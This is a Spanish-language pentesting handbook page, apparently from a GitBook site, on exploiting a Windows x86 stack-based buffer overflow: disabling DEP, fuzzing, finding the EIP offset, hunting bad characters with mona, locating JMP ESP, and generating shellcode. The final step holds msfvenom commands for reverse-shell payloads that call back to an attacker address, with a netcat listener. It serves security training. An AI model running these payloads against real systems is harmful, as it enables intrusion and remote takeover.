🔴
Pentesting, Ethical Hacking & Offensive Security
  • Inicio
  • General
    • Metodologías y estándares
    • Vulnerabilidades
    • Bases de datos de vulnerabilidades
    • Aplicaciones vulnerables
  • Reconocimiento y recolección de información
    • Información general
    • Información de recursos en Internet
    • Direcciones IP y ASN
    • Hosts
    • Domain Name System (DNS)
    • Subdominios y Virtual Host (VHost)
    • SSL/TLS y algoritmos de cifrados
    • Certificados
    • Tecnologías web
    • Web Application Firewall (WAF)
    • Sistema operativo
    • Google hacking / dorks
    • Buckets
  • Escaneo y enumeración
    • Descubrimiento de host
    • Sniffing y MitM attack
    • Escaneo de puertos
    • Identificación de servicios
    • Servicios
      • 21/TCP (FTP)
      • 22/TCP (SSH)
      • 25/TCP, 465/TCP, 587/TCP (SMTP/S)
      • 80/TCP, 443/TCP (HTTP/S)
      • 137/UDP, 138/UDP, 139/TCP (NetBIOS)
      • 161/UDP, 162/UDP (SNMP)
      • 389/TCP/UDP, 636/TCP, 3268/TCP, 3269/TCP (LDAP)
      • 445/TCP (SMB)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3306/TCP (MySQL)
      • 3389/TCP (RDP)
      • 6379/TCP (Redis)
      • 27017/TCP (MongoDB)
    • Herramientas automatizadas
  • Explotación
    • Ataques de contraseñas
      • Wordlists y diccionarios
      • Fuera de línea (offline)
        • Archivo passwd y shadow
        • Archivo SAM y SYSTEM
        • Archivos zip
        • Hashes
      • En línea (online)
        • Hash
        • Password spraying
        • 21/TCP (FTP)
        • 22/TCP (SSH)
        • 23/TCP (Telnet)
        • 80/TCP, 443/TCP (HTTP/S)
        • 161/UDP, 162/UDP (SNMP)
        • 445/TCP (SMB)
        • 3306/TCP (MySQL)
        • 5985/TCP, 5986/TCP (WinRM)
    • Web
    • Active Directory
    • Mobile
    • Wireless
    • Servicios
      • 22/TCP (SSH)
      • 53/TCP, 53/UDP (DNS)
      • 80/TCP, 443/TCP (HTTP/S)
      • 445/TCP (SMB)
      • 161/UDP, 162/UDP (SNMP)
      • 1433/TCP (MSSQL Server)
      • 2049/TCP (NFS)
      • 3389/TCP (RDP)
      • 5985/TCP, 5986/TCP (WinRM)
      • 6379/TCP (Redis)
      • Git
    • Vulnerabilidades
      • CVE-2009-3103 / MS09-050
      • Netapi (MS08-067)
      • Heartbleed (CVE-2014-0160)
      • Shellshock / Bashdoor (CVE-2014-6271)
      • EternalBlue (CVE-2017-0144 / MS17-010)
    • Shells
      • General
      • MSFvenom
      • Linux/Unix
      • Windows
    • Stack-Based Buffer Overflow Windows x86
  • Escalamiento de privilegios
    • Transferencia de archivos
    • Linux/Unix
      • Información general
      • Búsqueda de archivos y directorios
      • Sudo / SUID (Set User ID)
      • Grupos
      • Capabilities
      • Herramientas automatizadas
      • PATH Variable
      • Python Library Hijacking
      • 2049/TCP (NFS)
    • Windows
      • Información general
      • Búsqueda de archivos
      • Herramientas automatizadas
      • Metasploit
      • Always install elevated
      • SeImpersonate / SeAssignPrimaryToken
      • Servicios
        • Permisos de servicio inseguros
        • Ruta de servicio sin comillas
  • Post explotación
    • Pillaging
    • Persistencia
      • Windows
    • Pivoting
      • chisel
      • Metasploit
      • Port forwarding
      • Proxy
      • socat
      • SSH Tunneling
      • Tabla de enrutamiento
Con tecnología de GitBook
En esta página
  • Configuración de ambiente Windows
  • Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention)
  • Procedimiento
  • 0) Pre-inicio
  • 1) Fuzzing
  • 2) Offset
  • 3) Verificar el offset
  • 4) Buscar los badchars
  • 5) Encontrar "JMP ESP"
  • 6) Exploit

¿Te fue útil?

  1. Explotación

Stack-Based Buffer Overflow Windows x86

AnteriorWindowsSiguienteTransferencia de archivos

Última actualización hace 1 año

¿Te fue útil?

Configuración de ambiente Windows

  • Instalar Immunity Debugger:

    • Configurar ejecutar como administrador: clic derecho -> Propiedades -> Compatibilidad -> Habilitar opción "Ejecutar este programa como administrador".

  • Instalar mona.py:

    • C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention)

Windows XP

  • Panel de control -> Sistema -> Avanzado -> Inicio y Recuperación -> Configuración -> Editar

    • Reemplazar OptIn por AlwaysOff.

Windows 7

bcdedit.exe /set <current> nx AlwaysOff

Reiniciar el sistema operativo y posteriormente comprobar en: Mi PC -> clic derecho -> Propiedades -> Avanzando -> Rendimiento -> Configuración -> Data Execution Prevention.

Procedimiento

0) Pre-inicio

Identificar dirección IP y puerto donde se ejecuta el binario, y cual campo es vulnerable a buffer overflow.

1) Fuzzing

Realizar fuzzing para encontrar con cuantos bytes se desborda el búfer y se sobrescribe el registro EIP (Extended Instruction Pointer).

Sincronizar (Ctrl + F1) y ejecutar (F9) el proceso en Immunity Debugger.

2) Offset

Creación de "pattern" para calcular el "offset".

# number-of-bytes = number-of-bytes + 200
msf-pattern_create -l <number-of-bytes>

Identificación de "offset".

# Metasploit
msf-pattern_offset -q <EIP-value>
# Mona
!mona findmsp

3) Verificar el offset

Verificar el "offset" identificado y control del EIP.

fuzzing = offset + BBBB + CCCC + padding
offset  = AAAA... 41414141...
EIP     = BBBB    42424242
ESP     = CCCC    43434343
padding = DDDD... 44444444...

4) Buscar los badchars

# Configuración de carpeta de trabajo en Mona
!mona config -set workingfolder c:\mona\%p
# Generación de badchars
!mona bytearray
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrado
!mona bytearray -cpb "\x00"
# Comparación de badchars con contenido de la pila
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
# Generación eliminando badchars encontrados
!mona bytearray -cpb "\x00\x0a"

5) Encontrar "JMP ESP"

Verificación de badchars.

!mona bytearray -cpb "<badchars>"
!mona compare -f C:\mona\<binary-name>\bytearray.bin -a ESP
  • <badchars> = \x00\x0a\x0d

Obtención de dirección "JMP ESP" utilizando Mona.

msf-nasm_shell
jmp esp
FFE4
# FFE4 = \xff\xe4\
!mona modules
# Dynamic-Link Library (DLL)
!mona find -s "\xff\xe4\" -m <name.dll>
# Executable (.exe)
## opción 1
!mona jmp -r esp -cpb <badchars>
## opción 2
!mona jmp -r esp -m <name.exe>

Obtención de dirección "JMP ESP" utilizando findjmp.exe.

findjmp.exe
findjmp.exe <name.dll> ESP

6) Exploit

Generación de shellcode.

# Windows
## reverse shell
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -a x86 --platform windows -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
msfvenom -p windows/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python
## abrir calculadora de Windows
msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -b "<badchars>" --var-name shellcode -f python

# Linux/Unix
## reverse shell
msfvenom -p linux/x86/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> EXITFUNC=thread -b "<badchars>" --var-name shellcode -e x86/shikata_ga_nai -f python
  • <badchars> = \x00\x0a\x0d

Ejecutar exploit de buffer overflow.

# Netcat
nc -lvnp <listen-port>
# Ejecutar exploit de buffer overflow
python3 exploit.py

Archivo:

Archivo:

Archivo:

Archivo:

Archivo:

Archivo:

Archivo:

https://www.immunityinc.com/
https://github.com/corelan/mona
parameters.py
01-fuzzing.py
02-findOffset.py
03-checkOffset.py
04-badchars.py
05-jmpESP.py
06-exploit.py